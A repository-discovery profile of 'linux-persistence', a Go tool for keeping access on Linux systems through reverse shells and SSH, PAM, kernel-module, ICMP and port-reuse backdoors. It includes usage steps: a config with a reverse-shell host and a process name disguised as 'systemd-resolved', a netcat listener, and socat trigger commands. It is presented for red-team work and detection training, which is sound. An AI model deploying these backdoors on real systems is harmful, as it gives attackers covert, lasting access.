linux-persistence: A Go-based Linux Persistence Tool for Security Research

This repository profile is provided by osrepos.com, an open source repository discovery platform.

linux-persistence: A Go-based Linux Persistence Tool for Security Research

Summary

linux-persistence is a comprehensive Linux persistence tool written in Go, designed exclusively for security research and authorized penetration testing. It offers a wide array of techniques to maintain access on Linux systems, making it a valuable resource for red team exercises and security awareness training.

Repository Information

Analyzed by OSRepos on October 11, 2025

Topics

Click on any tag to explore related repositories

Use at your own risk

OSRepos shares public repositories for knowledge and discovery only. Any installation, execution, configuration, or use of code from these repositories is the user's own responsibility. Always review the repository, source code, dependencies, licenses, and security implications before running or installing anything. OSRepos is not responsible for issues, damages, or losses resulting from third-party repositories.

Introduction

linux-persistence is a robust Linux persistence tool, meticulously crafted in Go. It provides a comprehensive suite of techniques designed to maintain unauthorized access on Linux systems. This tool is intended solely for authorized security research, penetration testing, red team exercises, and security awareness training. Users are strongly advised to adhere to ethical guidelines and local laws, as misuse can lead to severe consequences.

The repository showcases a wide array of persistence methods, including reverse shells, SSH backdoors, hidden files, cron backdoors, Setuid backdoors, PAM backdoors, kernel module backdoors, ICMP backdoors, DNS backdoors, VIM backdoors, Strace backdoors, and port reuse backdoors. Each technique offers a unique approach to achieving and maintaining system access.

Installation

To get linux-persistence up and running, you'll need to compile it from source. Ensure you have the necessary dependencies installed on your Linux system, including a GCC compiler, Linux kernel development headers, PAM development library, iptables, and netcat or socat.

First, clone the repository:

git clone https://github.com/Maikefee/linux-persistence.git
cd linux-persistence

Then, compile the tool:

go build -o linux-persistence main.go

Examples

For optimal results, it is recommended to run linux-persistence with root privileges.

Basic Usage:

sudo ./linux-persistence

Configuration Options:
You can customize various settings by modifying the config struct in main.go before compilation:

var config = Config{
    ReverseShellHost: "192.168.1.100",  // Reverse shell target host
    ReverseShellPort: 4444,             // Reverse shell target port
    BackdoorPort:     6666,             // VIM backdoor listening port
    HiddenProcess:    "systemd-resolved", // Hidden process name
    SSHBackdoorPort:  2222,             // SSH backdoor port
}

Using the Reverse Shell:

  1. Prepare Listener: On your attacker machine, start a netcat listener:
    nc -lvp 4444
    
  2. Run Tool: On the target machine, execute the tool (it will attempt to connect to the configured ReverseShellHost:ReverseShellPort):
    sudo ./linux-persistence
    

Using the SSH Backdoor:
After running the tool on the target, you can connect via SSH:

ssh -p 2222 root@target_ip

Port Reuse:
Activate port reuse by sending a specific string:

echo 'backdoor' | socat - tcp:target_ip:80

Deactivate port reuse:

echo 'close' | socat - tcp:target_ip:80

ICMP Backdoor:
The ICMP backdoor is triggered by sending an ICMP packet containing the string "backdoor".

Why Use linux-persistence?

linux-persistence stands out as a valuable resource for anyone involved in offensive security, security research, or defensive training. Its implementation in Go ensures efficiency and a relatively small footprint. The tool's strength lies in its comprehensive collection of diverse persistence techniques, offering practical insights into how adversaries maintain access on Linux systems.

For security professionals, it serves as an excellent educational platform to understand, simulate, and ultimately develop robust detection and protection strategies against various persistence mechanisms. The README also provides valuable information on detection methods (e.g., netstat -an, ps aux, crontab -l, lsmod) and protection recommendations (e.g., regular integrity checks, HIDS/NIDS deployment, restricting root privileges), making it useful for both red and blue teams.

Links

Related repositories

Similar repositories that may be relevant next.

Declarative Agents: Profile-Driven LLM Agent Runtime in Go

Declarative Agents: Profile-Driven LLM Agent Runtime in Go

September 13, 2026

Declarative Agents by Nokia Bell Labs offers a profile-driven runtime and design patterns for building tool-augmented LLM agents. It allows defining agents, their tools, states, and transitions via YAML profiles, eliminating the need for code changes for workflow alterations. This Go-based framework promotes flexible and dependable agent development.

GoLLM AgentsDeclarative Programming
DeclarAgent: Declarative Runbook Executor for Safe AI Agent Workflows

DeclarAgent: Declarative Runbook Executor for Safe AI Agent Workflows

September 12, 2026

DeclarAgent is an innovative declarative runbook executor specifically designed for AI agents. It enables agents to validate, dry-run, and safely execute multi-step YAML workflows. This tool provides a structured, auditable, and secure way for LLM agents to interact with real CLI workflows, enhancing their operational safety and reliability.

GoAI AgentsAutomation
tunnel-client: Securely Connect Private MCP Servers to OpenAI Services

tunnel-client: Securely Connect Private MCP Servers to OpenAI Services

September 2, 2026

The `tunnel-client` is an OpenAI-developed client that enables secure connections between private or localhost Model Context Protocol (MCP) servers and OpenAI services like ChatGPT, Codex, and AgentKit. It allows developers to integrate their internal MCP servers without exposing them to the public internet, ensuring enhanced security and operational control. This tool is ideal for scenarios requiring secure access from private networks to OpenAI's powerful AI models.

GoOpenAIChatGPT
deja-vu: Retroactive Memory for AI Coding Agents

deja-vu: Retroactive Memory for AI Coding Agents

September 2, 2026

deja-vu is a powerful local-first tool that provides retroactive memory for AI coding agents, indexing past coding sessions from various agents, even those from before installation. This Go binary allows agents to recall relevant information without needing an LLM or embeddings by default. It enhances agent performance by providing context at the point of action, preventing repeated mistakes and improving efficiency.

GoAI Coding AgentsAgent Memory

Source repository

Open the original repository on GitHub.

20 counted GitHub visits

View on GitHub
OS
OSRepos

Analysis and discovery of open source repositories. Find interesting projects and follow their updates.

Monitor your website with YourWebsiteScore

OSRepos shares public repositories for knowledge and discovery only. Any installation, execution, configuration, or use of third-party repository code is at your own risk. Always review source code, dependencies, licenses, and security implications before running anything.

© 2025 OSRepos. Built with Nuxt 3 and lots of ❤️